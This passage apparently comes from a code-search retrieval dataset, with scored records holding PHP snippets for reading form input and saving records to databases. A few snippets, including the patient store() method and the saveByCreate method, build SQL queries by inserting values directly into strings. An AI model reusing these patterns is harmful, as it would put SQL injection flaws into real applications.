(array_key_exists('DBSelect', $arrInput))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$oblarrValue\t\t= $oblarrField->Push(new dataArray('Options'));\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// We need to fetch values from the DB\n\t\t\t\t\t\t\t$selStatement = new StatementSelect($arrInput['DBSelect']['Table'], $arrInput['DBSelect']['Columns'], $arrInput['DBSelect']['Where'], $arrInput['DBSelect']['OrderBy'], $arrInput['DBSelect']['Limit'], $arrInput['DBSelect']['GroupBy']);\n\t\t\t\t\t\t\t//Debug($selStatement);\n\t\t\t\t\t\t\t//die;\n\t\t\t\t\t\t\t$selStatement->Execute();\n\t\t\t\t\t\t\twhile ($arrStatement = $selStatement->Fetch())\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t//Debug($arrStatement);\n\t\t\t\t\t\t\t\t$oblOption = new $arrInput['DBSelect']['ValueType']('Option', $arrStatement['Value']);\n\t\t\t\t\t\t\t\t$oblOption->setAttribute('Label', $arrStatement['Label']);\n\t\t\t\t\t\t\t\t$oblarrValue->Push($oblOption);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t//die;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Does this have an ALL/IGNORE option?\n\t\t\t\t\t\t\tif (is_array($arrInput['DBSelect']['IgnoreField']))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$oblOption = new $arrInput['DBSelect']['ValueType']('Option', $arrInput['DBSelect']['IgnoreField']['Value']);\n\t\t\t\t\t\t\t\t$oblOption->setAttribute('Label', $arrInput['DBSelect']['IgnoreField']['Label']);\n\t\t\t\t\t\t\t\t$oblarrValue->Push($oblOption);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif (array_key_exists('DBQuery', $arrInput))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// The input is based on the results of the SQL Query defined in $arrInput['DBQuery']\n\t\t\t\t\t\t\t$oblarrValue\t\t= $oblarrField->Push(new dataArray('Options'));\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Does this have an ALL/IGNORE option?\n\t\t\t\t\t\t\tif (is_array($arrInput['DBQuery']['IgnoreField']))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$oblOption = new $arrInput['DBQuery']['ValueType']('Option', $arrInput['DBQuery']['IgnoreField']['Value']);\n\t\t\t\t\t\t\t\t$oblOption->setAttribute('Label', $arrInput['DBQuery']['IgnoreField']['Label']);\n\t\t\t\t\t\t\t\t$oblarrValue->Push($oblOption);\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// We need to fetch values from the DB\n\t\t\t\t\t\t\t$objQuery = new Query();\n\n\t\t\t\t\t\t\t$objRecordSet = $objQuery->Execute($arrInput['DBQuery']['Query']);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif ($objRecordSet === false)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tthrow new Exception_Database(\"Failed to retrieve values for DataReport constraint field: $strName. Error: \". $objQuery->Error());\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\twhile ($arrRecord = $objRecordSet->fetch_assoc())\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$oblOption = new $arrInput['DBQuery']['ValueType']('Option', $arrRecord['Value']);\n\t\t\t\t\t\t\t\t$oblOption->setAttribute('Label', $arrRecord['Label']);\n\t\t\t\t\t\t\t\t$oblarrValue->Push($oblOption);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif (is_subclass_of($arrInput['Type'], \"dataPrimitive\") || is_subclass_of($arrInput ['Type'], \"dataObject\"))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$oblarrField->Push(new $arrInput['Type']('Value'));\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$oblarrValue\t\t= $oblarrField->Push(new dataArray('Value'));\n\t\t\t\t\t\t\t$oblarrValue->Push(new $arrInput['Type']());\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\treturn $oblarrInputs;\n\t\t}", "title": "" }, { "docid": "be9eaceb2af06a2c6be96f3af5e30bd3", "score": "0.58328694", "text": "function readInputData() {\r\n\t\t$this->readUserVars(array(\r\n\t\t\t'decisions',\r\n\t\t\t'countries',\r\n\t\t));\r\n\t}", "title": "" }, { "docid": "a9b8bb2fd815e73f97d97e451eb3e2d9", "score": "0.5828396", "text": "function readInputData() {\n\t\t$this->readUserVars(\n\t\t\tarray(\n\t\t\t\t'authors',\n\t\t\t\t'deletedAuthors',\n\t\t\t\t'primaryContact',\n\t\t\t\t'title',\n\t\t\t\t'abstract',\n\t\t\t\t'discipline',\n\t\t\t\t'subjectClass',\n\t\t\t\t'subject',\n\t\t\t\t'coverageGeo',\n\t\t\t\t'coverageChron',\n\t\t\t\t'coverageSample',\n\t\t\t\t'type',\n\t\t\t\t'language',\n\t\t\t\t'sponsor',\n\t\t\t\t'citations'\n\t\t\t)\n\t\t);\n\n\t\t// Load the series. This is used in the step 3 form to\n\t\t// determine whether or not to display indexing options.\n\t\t$seriesDao =& DAORegistry::getDAO('SeriesDAO');\n\t\t$this->_data['series'] =& $seriesDao->getSeries($this->monograph->getSeriesId());\n\n\t\tif ($this->_data['series']->getAbstractsNotRequired() == 0) {\n\t\t\t$this->addCheck(new FormValidatorLocale($this, 'abstract', 'required', 'author.submit.form.abstractRequired'));\n\t\t}\n\n\t}", "title": "" }, { "docid": "ba8037204c5fc23f002decd04f363f66", "score": "0.5821325", "text": "private function inputs(){\n\t\t$this->request = $this->cleanInputs($_GET);\n\t\t$this->requestData = $this->cleanInputs($_POST);\n\t}", "title": "" }, { "docid": "eee8045ce5e33035ca20a5ebaa566984", "score": "0.58032966", "text": "private function populateInput() {\n\t\tif($this->input)\n\t\t\treturn;\n\t\t\n\t\tif($this->isJson()) {\n\n\t\t\t$json = new ParameterBag((array) json_decode($this->getContent(), true));\n\n\t\t\t$this->input = $json->all();\n\t\t}\n\t\t// GET\n\t\t$get = $this->query->all();\n\n\t\t// POST \n\t\t$post = $this->request->all() ;\n\n\t\t$this->input = array_merge($get,$post);\n\n\t}", "title": "" }, { "docid": "f85cc992d193ed9aec7140debf693d35", "score": "0.57690537", "text": "public function create_data()\n {\n $query = \"INSERT INTO \" . $this->table_name . \" SET name = ?, email = ?, mobile=?\";\n\n //prepare the sql query\n $obj = $this->conn->prepare($query);\n\n //sanitize inout variables => removes the extra chars like special symbols \n $this->name = htmlspecialchars(strip_tags($this->name));\n $this->email = htmlspecialchars(strip_tags($this->email));\n $this->mobile = htmlspecialchars(strip_tags($this->mobile));\n\n //binding parameters with prepare statement \n $obj->bind_param(\"sss\", $this->name, $this->email, $this->mobile);\n\n //execute query\n if ($obj->execute()) {\n return true;\n } else return false;\n }", "title": "" }, { "docid": "bd22e9f29acb99e6d2a0a389c2ff0dc0", "score": "0.57658964", "text": "function readInputData() {\n\t\t$this->readUserVars(array('gridId'));\n\t}", "title": "" }, { "docid": "83f39a9a5a657581bb638132270f59e6", "score": "0.57645255", "text": "function values(){\n\t\t//Si no le pasas un segundo parametro a replaceNullValue toma -1 por default\n\t\t$FK_entities = $this->replaceNullValue($this->FK_entities);\n\t\t$name = $this->replaceNullValue($this->name, \"\");\t\t\n\t\t$date = $this->sqlDateTime($this->date);\n\t\t$closedate = $this->sqlDateTime($this->closedate);\n\t\t$date_mod = $this->sqlDateTime($this->date_mod);\t\t\n\t\t$status = $this->replaceNullValue($this->status, \"\");\n\t\t$author = $this->replaceNullValue($this->author);\n\t\t$recipient = $this->replaceNullValue($this->recipient);\n\t\t$FK_group = $this->replaceNullValue($this->FK_group);\n\t\t$request_type = $this->replaceNullValue($this->request_type);\n\t\t$assign = $this->replaceNullValue($this->assign);\n\t\t$assign_ent = $this->replaceNullValue($this->assign_ent);\n\t\t$assign_group = $this->replaceNullValue($this->assign_group);\n\t\t$device_type = $this->replaceNullValue($this->device_type);\n\t\t$computer = $this->replaceNullValue($this->computer);\n\t\t$contents = $this->replaceNullValue($this->contents, \"\");\n\t\t$priority = $this->replaceNullValue($this->priority);\n\t\t$uemail = $this->replaceNullValue($this->uemail, \"\");\n\t\t$emailupdates = $this->replaceNullValue($this->emailupdates);\n\t\t$realtime = $this->replaceNullValue($this->realtime);\n\t\t$category = $this->replaceNullValue($this->category);\n\t\t$cost_time = $this->replaceNullValue($this->cost_time);\n\t\t$cost_fixed = $this->replaceNullValue($this->cost_fixed);\n\t\t$cost_material = $this->replaceNullValue($this->cost_material);\n\t\t$location = $this->replaceNullValue($this->location);\n\t\t$service_type = $this->replaceNullValue($this->service_type);\n\t\t$ticket_type = $this->replaceNullValue($this->ticket_type);\n\t\t$state_reason = $this->replaceNullValue($this->state_reason);\n\t\t$applicant = $this->replaceNullValue($this->applicant);\n\n\t\treturn array($FK_entities, $name, $date, $closedate, $date_mod, $status, $author,\n\t\t\t$recipient, $FK_group, $request_type, $assign, $assign_ent, $assign_group, $device_type,\n\t\t\t$computer, $contents, $priority, $uemail, $emailupdates, $realtime, $category, $cost_time,\n\t\t\t$cost_fixed, $cost_material, $location, $service_type, $ticket_type, $state_reason, $applicant);\n\t}", "title": "" }, { "docid": "b244d070986c9e703a26078e1e9115ab", "score": "0.57433015", "text": "public function save()\n {\n $sql = new Sql();\n \n $results = $sql->select(\"CALL sp_products_save(:idproduct, :desproduct, :vlprice, :vlwidth, :vlheight, :vllength, :vlweight, :desurl)\", [\n ':idproduct' => $this->getidproduct(),\n ':desproduct' => $this->getdesproduct(),\n ':vlprice' => $this->getvlprice(),\n ':vlwidth' => $this->getvlwidth(),\n ':vlheight' => $this->getvlheight(),\n ':vllength' => $this->getvllength(),\n ':vlweight' => $this->getvlweight(),\n ':desurl' => $this->getdesurl()\n ]);\n\n $this->setValues($results[0]);\n\n }", "title": "" }, { "docid": "bc998c52fd6b04655c1d22e702fd04b1", "score": "0.57392937", "text": "public function insertToDB()\n {\n $name = $this->personData['name'];\n $age = $this->personData['age'];\n $city = $this->personData['city'];\n $about = $this->personData['aboutYou'];\n $sql = '\n INSERT INTO `person` (name, age, city, aboutYou)\n VALUES (?, ?, ?, ?)\n ';\n $this->dbalConnection->executeQuery($sql, array($name, $age, $city, $about));\n }", "title": "" }, { "docid": "fadf05853f9b5506fa346b66a21b3e8a", "score": "0.5733733", "text": "public function store()\n\t{\n Person::create(Input::all());\n\t}", "title": "" }, { "docid": "fb5ad43ef786ad7cfbdcece3699f3e54", "score": "0.5717735", "text": "function readInputData() {\n\t\t$this->readUserVars(\n\t\t\tarray(\n\t\t\t\t'displayTitle',\n 'titleLabel',\n 'displayCreator',\n 'creatorLabel',\n 'displaySubject',\n 'subjectLabel',\n 'displayKeywords',\n 'keywordsLabel',\n 'displayDescription',\n 'descriptionLabel',\n 'displayPublisher',\n 'publisherLabel', \n 'displayContributor',\n 'contributorLabel',\n 'displayDate',\n 'dateLabel',\n 'displayStatus',\n 'statusLabel', \n 'displayType',\n 'typeLabel',\n 'displayFormat',\n 'formatLabel',\n 'displayIdentifier',\n 'identifierLabel',\n 'displaySource',\n 'sourceLabel',\n 'displayLanguage',\n 'languageLabel',\n 'displayRelation',\n 'relationLabel',\n 'displayCoverage',\n 'coverageLabel',\n 'displayRights',\n 'rightsLabel'\n\t\t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "f37bbe690d4d6838592cf0aecf3ad052", "score": "0.5713035", "text": "public function run()\n {\n $param = [\n 'name' => '北里大学東病院(守衛室)',\n ];\n DB::table('fields')->insert($param);\n\n $param = [\n 'name' => '北里大学東病院(誘導)',\n ];\n DB::table('fields')->insert($param);\n\n $param = [\n 'name' => '相模女子大学',\n ];\n DB::table('fields')->insert($param);\n }", "title": "" }, { "docid": "b7bfb17213ef12f6f4da800440d9db85", "score": "0.57095325", "text": "function inputdata($data)\n\t{\n\t\t$this->db->insert($this->table, $data);\n\t}", "title": "" }, { "docid": "63a21ad44bd77f8bde5dad1286a950b5", "score": "0.5695068", "text": "function readInputData() {\n\t\t$this->readUserVars(array(\n\t\t\t'title',\n\t\t\t'volume',\n\t\t\t'number',\n\t\t\t'year',\n\t\t\t'description',\n\t\t\t'accessStatus',\n\t\t\t'enableOpenAccessDate',\n\t\t\t'showVolume',\n\t\t\t'showNumber',\n\t\t\t'showYear',\n\t\t\t'showTitle',\n\t\t\t'temporaryFileId',\n\t\t\t'coverImageAltText',\n\t\t\t'datePublished',\n\t\t\t'openAccessDate',\n\t\t));\n\n\t\t$this->addCheck(new FormValidatorCustom($this, 'issueForm', 'required', 'editor.issues.issueIdentificationRequired', create_function('$showVolume, $showNumber, $showYear, $showTitle', 'return $showVolume || $showNumber || $showYear || $showTitle ? true : false;'), array($this->getData('showNumber'), $this->getData('showYear'), $this->getData('showTitle'))));\n\n\t}", "title": "" }, { "docid": "7e3dbb41010c0d4a794e59998d5ecd89", "score": "0.56828463", "text": "public function store() {\n\n //$query = \"INSERT INTO `patient` (`patient_name`, `email`, `patient_phone`, `gender`, `patient_address`, `password`, `email_verified`) VALUES (:patient_name, :email, :patient_phone, :gender, :patient_address, :password, :email_token)\";\n //$query = \"INSERT INTO `patient`(`patient_name`, `email`, `patient_phone`, `gender`, `patient_address`, `password`, `email_verified`) VALUES ('$this->patient_name', '$this->email', '$this->patient_phone', '$this->gender', '$this->gender', '$this->patient_address', '$this->password', '$this->email_token')\";\n// $stmt = $this->DBH->prepare($query);\n// foreach ($data as $key => $values){\n// $stmt->bindParam($key, $data[$key]);\n// }\n\n $query = \"INSERT INTO `patient`(`patient_name`, `email`, `patient_phone`, `gender`, `patient_address`, `password`, `email_verified`) \n VALUES ('$this->patient_name', '$this->email', '$this->patient_phone', '$this->gender', '$this->patient_address', '$this->password', '$this->email_token')\";\n //echo $query; exit();\n $result = $this->DBH->exec($query);\n //$res = $result->execute();\n return $result;\n }", "title": "" }, { "docid": "8b5e3f8514f9d58cb6ed77e88b481afb", "score": "0.5671785", "text": "public function getValuesEditASeedForm(){\n\t\t$currentSeedResultSet = $this->seedModelThing->allInfoSingleSeed($_SESSION['editSeedPrimaryKey']);\n\t\t//$currentSeedResultSet = $this->seedModelThing->allInfoSingleSeed($_POST['seedPrKey']);\n\t\t$this->searchViewThing->editASeedFormValues($currentSeedResultSet);\n\t}", "title": "" }, { "docid": "f33d7a4706fa2c873d0ad1cd44d4eaa2", "score": "0.5668428", "text": "public function getAllField_input() {\n\n\t\t$rs = Capsule::select(\"SELECT * FROM $this->tablename\");\t\t\n\t\treturn $rs;\n\t}", "title": "" }, { "docid": "f7d8bb6fc8e438f07e56d3c96aa1bc80", "score": "0.5665207", "text": "public function save() {\n if(isset($this->id)) {\n $values = array();\n foreach($this->data as $key => $value) {\n if(array_key_exists($key, $this->fields) && $this->fields[$key]) {\n $values[] = sprintf(\"`%s` = %s\", $key, $this->filterUpdate($key, $value));\n }\n }\n $values = implode(', ', $values);\n $query = sprintf('UPDATE `%s`\n SET %s\n WHERE `id` = %d',\n $this->table, $values, $this->id);\n }\n else {\n $fields = array();\n $values = array();\n foreach($this->data as $key => $value) {\n if(array_key_exists($key, $this->fields)) {\n $fields[] = sprintf(\"`%s`\", $key);\n $values[] = $this->filterInsert($key, $value);\n }\n }\n $fields = implode(', ', $fields);\n $values = implode(', ', $values);\n $query = sprintf('INSERT INTO `%s` (%s)\n VALUES (%s)',\n $this->table, $fields, $values);\n }\n $this->db->query($query);\n if(!isset($this->id)) {\n $this->id = (int)$this->db->insert_id;\n }\n }", "title": "" }, { "docid": "39a57aa4dcc40c2488c015979fc7870e", "score": "0.5648127", "text": "function readInputData() {\n\t\t$this->readUserVars(\n\t\t\tarray(\n\t\t\t\t'label',\n\t\t\t\t'publicGalleyId',\n\t\t\t\t'galleyLocale',\n\t\t\t\t'temporaryFileId'\n\t\t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "884917e7468141bc17dbfe7d7e019216", "score": "0.5640816", "text": "public function create()\n {\n $name = $_POST[\"name\"];\n $origin = $_POST[\"origin\"];\n\n //create the sql \n $sql=\"INSERT INTO apples(name, origin) VALUES(?,?) \";\n \n //prepare the statement\n $result = $this->databaseManager->database->prepare($sql);\n\n //the execute method requires array with the values\n $result->execute([$name,$origin]);\n }", "title": "" }, { "docid": "0444282bca9176b916d52a6805b0b67c", "score": "0.5639583", "text": "public function run()\n {\n //\n $param = [\n 'value' => '高1',\n ];\n DB::table('grades')->insert($param);\n\n $param = [\n 'value' => '高2文系',\n ];\n DB::table('grades')->insert($param);\n\n $param = [\n 'value' => '高2理系',\n ];\n DB::table('grades')->insert($param);\n\n $param = [\n 'value' => '高3文系',\n ];\n DB::table('grades')->insert($param);\n\n $param = [\n 'value' => '高3理系',\n ];\n DB::table('grades')->insert($param);\n\n $param = [\n 'value' => 'その他',\n ];\n DB::table('grades')->insert($param);\n }", "title": "" }, { "docid": "cac40088e782265b4aa8921db1e7ee5a", "score": "0.56252104", "text": "protected function getInputData()\n {\n (new HCPriceRulesValidator())->validateForm();\n\n $_data = request()->all();\n\n if( array_has($_data, 'id') )\n array_set($data, 'record.id', array_get($_data, 'id'));\n\n array_set($data, 'record.name', array_get($_data, 'name'));\n array_set($data, 'record.from', array_get($_data, 'from'));\n array_set($data, 'record.to', array_get($_data, 'to'));\n array_set($data, 'record.type', array_get($_data, 'type'));\n array_set($data, 'record.amount', array_get($_data, 'amount'));\n\n array_set($data, 'rulable.product_types', array_get($_data, 'product_types'));\n array_set($data, 'rulable.goods', array_get($_data, 'goods'));\n array_set($data, 'rulable.categories', array_get($_data, 'categories'));\n\n return makeEmptyNullable($data);\n }", "title": "" }, { "docid": "80f3c5d4516c07cf9d2b97514338b9f5", "score": "0.5613028", "text": "function readInputData() {\r\n\t\t$this->readUserVars(array(\r\n\t\t\t'selectedSectionDecisions',\r\n\t\t\t'meetingDate',\r\n\t\t\t'meetingLength',\r\n\t\t\t'location',\r\n\t\t\t'investigator',\r\n\t\t\t'meetingId'\r\n\t\t));\r\n\t\r\n\t}", "title": "" }, { "docid": "b8510be1adbdd641b4927c348bb1ece1", "score": "0.55974483", "text": "function Save(){\n\t\tif(isset($_POST[$this->inputName])){\n\t\t\t$newValue = $_POST[$this->inputName];\n\n\t\t\tif(is_array($newValue)){\n\t\t\t\tdie('is array');\n\t\t\t\t$values = array();\n\t\t\t\tforeach($newValue as $postField){\n\t\t\t\t\tif(!Metabox::isEmpty($postField)){\n\t\t\t\t\t\t$values[] = $postField;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$newValue = $values;\n\t\t\t}\n\t\t\t\n\t\t\tif(!Metabox::isEmpty($this->inputValue)){\n\t\t\t\tif(Metabox::isEmpty($newValue)){\n\t\t\t\t\tdelete_post_meta($this->post_id, $this->metaName);\n\t\t\t\t} else {\n\t\t\t\t\tupdate_post_meta($this->post_id, $this->metaName, $newValue);\n\t\t\t\t}\n\t\t\t} else if(!Metabox::isEmpty($newValue)) {\n\t\t\t\tadd_post_meta($this->post_id, $this->metaName, $newValue);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "f76f5b73f1541dcec2e75c7e5198069d", "score": "0.5592749", "text": "public function save()\n\t{\n\t\tif ($this->isValid()) {\n\t\t\t$table = $this->table();\n\t\t\tforeach ($this->_data as $row) {\n\t\t\t\t$table->insert($row);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "38de556374260268daeb22616716ca70", "score": "0.55913645", "text": "public function run()\n {\n\n $data = array(\n 'initial_value' => '36000',\n 'next_value' => '36000'\n );\n\n DB::table('systemparams')->insert([\n 'param_name' => 'trading_system_account_no',\n 'param_value' => serialize($data),\n 'created_at' => date(\"Y-m-d H:i:s\")\n ]);\n }", "title": "" }, { "docid": "af67ea617a5abd55418d60b357627794", "score": "0.55910236", "text": "public function Query()\n {\n $artNumber = $_GET['ArtPK'];\n $credit = $_GET['credit'];\n\n DB::insert('insert into workDB (userPK, position, artPK)\n values (?, ?, ?)',array($credit[0],$credit[1],$artNumber));\n DB::insert('insert into artDB (artPK, userPK)\n values (?,?)',array($artNumber,$credit[0]));\n\n }", "title": "" }, { "docid": "625536feadd7dcd6d530e8d156ccdcc5", "score": "0.5570992", "text": "public function getUserInputs() { // get user input\r\n //\r\n //This method is the main interface between the user and the controller.\r\n //\r\n //Get the $_GET array values\r\n $this->getArray = filter_input_array(INPUT_GET); //used for PAGE navigation\r\n //Get the $_POST array values\r\n $this->postArray = filter_input_array(INPUT_POST); //used for form data entry and buttons\r\n }", "title": "" }, { "docid": "bd2bec6b1fe699027c23baa7624b02cc", "score": "0.5570559", "text": "public function run()\n {\n DB::table('preference_name')->insert([\n 'name' => 'crumple',\n 'type' => 'BOOLEAN',\n 'default' => 'false'\n ]);\n DB::table('preference_name')->insert([\n 'name' => 'commission_value',\n 'type' => 'NUMBER',\n 'default' => '0'\n ]);\n DB::table('preference_name')->insert([\n 'name' => 'starttime',\n 'type' => 'TIME',\n 'default' => '09:00 AM'\n ]);\n DB::table('preference_name')->insert([\n 'name' => 'endtime',\n 'type' => 'TIME',\n 'default' => '05:00 PM'\n ]);\n }", "title": "" }, { "docid": "2036da04d5cdb0b8fa0c90ebc4b08235", "score": "0.5564625", "text": "private function insertData()\n {\n $data = $this->form()->submissions()->toArray();\n\n $this->writer->insertAll($data);\n }", "title": "" }, { "docid": "897c20a6e3412d5b66b380cf1bdd7169", "score": "0.5562963", "text": "private function saveByCreate() {\r\n\t\t$SQL = \"INSERT INTO `%tableName%`(%columns%) VALUES(%values%);\";\r\n\r\n\t\t$table = static::$tableName;\r\n\t\t$columns = '';\r\n\t\t$values = '';\r\n\r\n\t\t$comma = false;\r\n\r\n\t\t$pair = $this->prepareFieldValuePairForSave ( true );\r\n\t\t$pp = self::getPFromPCache();\r\n\r\n\t\tforeach ( $pair as $key => $value ) {\r\n\t\t\tif ( $pp [$key] ['extra'] == 'auto_increment') {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\r\n\t\t\t//$skipFlag = false;\r\n\t\t\t//if (self::getFieldType ( $key ) === self::TABLE_FIELD_TYPE_NUMERIC) {\r\n\t\t\t//\t$skipFlag = (empty ( $value ) && ($value !== 0));\r\n\t\t\t//} else {\r\n\t\t\t//\t$skipFlag = (empty ( $value ));\r\n\t\t\t//}\r\n\t\t\t//number , empty(0) return true\r\n\t\t\t//if (! ($skipFlag) ) {\r\n\t\t\t\t\r\n\t\t\t\t$value = self::safeValue($key, $value );\r\n\t\t\t\t//Debug::addLog('value after '.__METHOD__ . ':'. $value );\r\n\t\t\t\tif( !self::isNumeric($key)) {\r\n\t\t\t\t\t$value = self::_embrace_char($value,'\\'');\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif ($comma === false) {\r\n\t\t\t\t\t$columns .= \"`{$key}`\";\r\n\t\t\t\t\t$values .= $value ;\r\n\t\t\t\t\t$comma = true;\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$columns .= ',' . \"`{$key}`\";\r\n\t\t\t\t\t$values .= ',' . $value ;\r\n\t\t\t\t}\r\n\t\t\t//}\r\n\t\t}\r\n\r\n\t\t$search = array (\"%tableName%\", \"%columns%\", \"%values%\" );\r\n\t\t$replace = array ($table, $columns, $values );\r\n\r\n\t\t$SQL = str_replace ( $search, $replace, $SQL );\r\n\t\t$dbi = self::GetDBI();\r\n\t\t$flag = $dbi->query ( $SQL );\r\n\r\n\t\tif ($flag !== false) {\r\n\t\t\t$id_last = 0;\r\n\t\t\t$autoIncrementField = self::getAutoIncrementField();\r\n\t\t\t\tif( !empty( $autoIncrementField)) {\r\n\t\t\t\t$id_last = $dbi->getLastInsertId ();\r\n\t//\t\t\tDebug::addTrace( 'last id: '. $id_last . Common::pr( $pp, true , ', pp' ) ;\r\n\t//\t\t\tDebug::addTrace( 'pkName: '. static::$pkName ;\r\n\t\t\t\t//modified 2011.5.5, for none id primary key bug\r\n\t\t\t}\r\n\t\t\tif ( ($id_last > 0) && $autoIncrementField ) {\r\n\t\t\t\tDebug::core ( 'reload by autoincrement id ' . static::$tableName . '.' .$autoIncrementField.' : ' . $id_last );\r\n\t\t\t\t$flag = $this->reload( array( $autoIncrementField => $id_last ) );\t\t//\r\n\t\t\t} else {\r\n\t\t\t Debug::core( 'reload by pk');\r\n\t\t\t\t$flag = $this->reload();\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t//Debug::add ( \"CREATE OBJECT END, CREATE \" . (($flag) ? 'SUCCESS' : 'FAILED') . \"\");\r\n\t\treturn $flag;\r\n\t}", "title": "" }, { "docid": "358c8838e90eb4c5be008f8326389a36", "score": "0.55506325", "text": "public function store()\n\t{\n\t\t$data = \\Input::all();\n\t\t// $user = User::create([\n\t\t// \t'name' => $data['name'],\n\t\t// \t'email' => $data['email'],\n\t\t// \t'password' => bcrypt($data['password']),\n\t\t// ]);\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "5051b94aabc70dafbee87768d228cf54", "score": "0.55426097", "text": "public function AddToDB(){\n\t\t$params[]=$this->question;\n\t\t$this->db->prepare(\"INSERT INTO qz_questions (question_text) VALUES (?)\",$params);\n\t\t$this->db->execute();\n\t\t$this->lastid = $this->db->getLastInsertId();\n\t\t//echo \"last id $this->lastid\";\n\t\t$answers=array(1=>$this->answer1, 2=>$this->answer2, 3=>$this->answer3, 4=>$this->answer4);\n\t\tforeach($answers as $k=>$v){\n\t\t\t//if answer field in the form is empty, stop adding answers into array;\n\t\t\t//There may be empty fields, but gaps between answers are not allowed;\n\t\t\tif($v==null) {break;} \n\t\t\t$params=array();\n\t\t\t$params[0]=$this->lastid;\n\t\t\t$params[1]=$v;\n\t\t\tif($k==$this->right_answer){\n\t\t\t\t$params[2]=1;\n\t\t\t} else \n\t\t\t{$params[2]=0;}\n\t\t\t//inserd answers in DB with question ID appended;\n\t\t\t$this->db->prepare(\"INSERT INTO qz_answers (question_id, answer_text, right_answer) VALUES (?,?,?)\",$params);\n\t\t $this->db->execute();\n\t\t}\n\t\t//TODO - to show this message on different place;\n\t\techo 'Question successfully added.';\n\t}", "title": "" }, { "docid": "8492bd850e6408ad479b05170c539926", "score": "0.5541947", "text": "protected function getInputData()\n {\n (new HCECUserAddressValidator())->validateForm();\n\n $_data = request()->all();\n\n if (array_has($_data, 'id')) {\n array_set($data, 'record.id', array_get($_data, 'id'));\n }\n\n array_set($data, 'record.user_id', array_get($_data, 'user_id'));\n array_set($data, 'record.form_name', array_get($_data, 'form_name'));\n array_set($data, 'record.first_name', array_get($_data, 'first_name'));\n array_set($data, 'record.last_name', array_get($_data, 'last_name'));\n array_set($data, 'record.email', array_get($_data, 'email'));\n array_set($data, 'record.country_id', array_get($_data, 'country_id'));\n array_set($data, 'record.street_address', array_get($_data, 'street_address'));\n array_set($data, 'record.city', array_get($_data, 'city'));\n array_set($data, 'record.district', array_get($_data, 'district'));\n array_set($data, 'record.postal_code', array_get($_data, 'postal_code'));\n array_set($data, 'record.phone', array_get($_data, 'phone'));\n array_set($data, 'record.notes', array_get($_data, 'notes'));\n array_set($data, 'record.company_name', array_get($_data, 'company_name'));\n array_set($data, 'record.company_code', array_get($_data, 'company_code'));\n array_set($data, 'record.company_vat', array_get($_data, 'company_vat'));\n\n return makeEmptyNullable($data);\n }", "title": "" }, { "docid": "9e5910a1fa71d67afadd97f5a17ef29a", "score": "0.5541283", "text": "public function getData()\n {\n // array values against the POST DATA ==> $data_items \n foreach (self::$data as $data_values) {\n \n if (!array_key_exists($data_values, $this->post)) \n {\n trigger_error($data_values . ' Invalid input field');\n connect::addError('message', 'Input field does not Exist');\n return;\n }\n \n }\n \n }", "title": "" }, { "docid": "7b322d01bd7b9a51f420f75a696ab516", "score": "0.5536674", "text": "private function fillableStore( $request )\n\t{\n\t\t// contamos cuantos campos se pueden guardar\n\t\t$cant = count( $this->fillable );\n\t\t// abrimos un parantesis para asignar cuales campos se pueden guardar\n\t\t$this->values = ' ( ';\n\t\t// recorremos la variable que contiene los campos a guardar\n\t\tfor ($i=0; $i < $cant; $i++) {\n\t\t\t// asignamos los campos que se pueden guardar\n\t\t\t// dejamos un espacio en blanco para separar los campos\n\t\t\t$this->values .= ' ' . $this->fillable[$i] . ',';\n\t\t}\n\t\t// eliminamos la coma del ultimo caracter para evitar problemas en la base de datos\n\t\t$this->values = $this->deleteLastWord( $this->values );\n\t\t// cerramos el parentesis para agregar los valores de los campos que se dejan guardar\n\t\t$this->values .= ' ) VALUES ( ';\n\t\t// llenamos los valores de los campos\n\t\tfor ($i=0; $i < $cant; $i++) \n\t\t{\n\t\t\t// validamos que exista algún dato\n\t\t\tif( isset( $request[ $this->fillable[$i] ] ) && !empty( $request[ $this->fillable[$i] ] ) && !is_null( $request[ $this->fillable[$i] ] ) )\n\t\t\t\t// escapamos la variable para evitar que nos hagan sql injection\n\t\t\t\t// agreamos los campos que se dejan guardar que provienen del request\n\t\t\t\t// dejamos un espacio en blanco para separar los campos\n\t\t\t\t$this->values .= \" '\". parent::__real_escape_string( $request[ $this->fillable[$i] ] ) .\"',\";\n\t\t\telse\n\t\t\t\t// concatenamos como nulo\n\t\t\t\t$this->values .= \"'NULL',\";\n\t\t}\n\t\t// eliminamos la coma del ultimo caracter para evitar problemas en la base de datos\n\t\t$this->values = $this->deleteLastWord( $this->values );\n\t\t// cerramos el ultimo parentesis\n\t\t$this->values .= ' ) ';\n\t}", "title": "" }, { "docid": "099273749b2f9abd0d47e6f44d5b22c0", "score": "0.5528854", "text": "public function 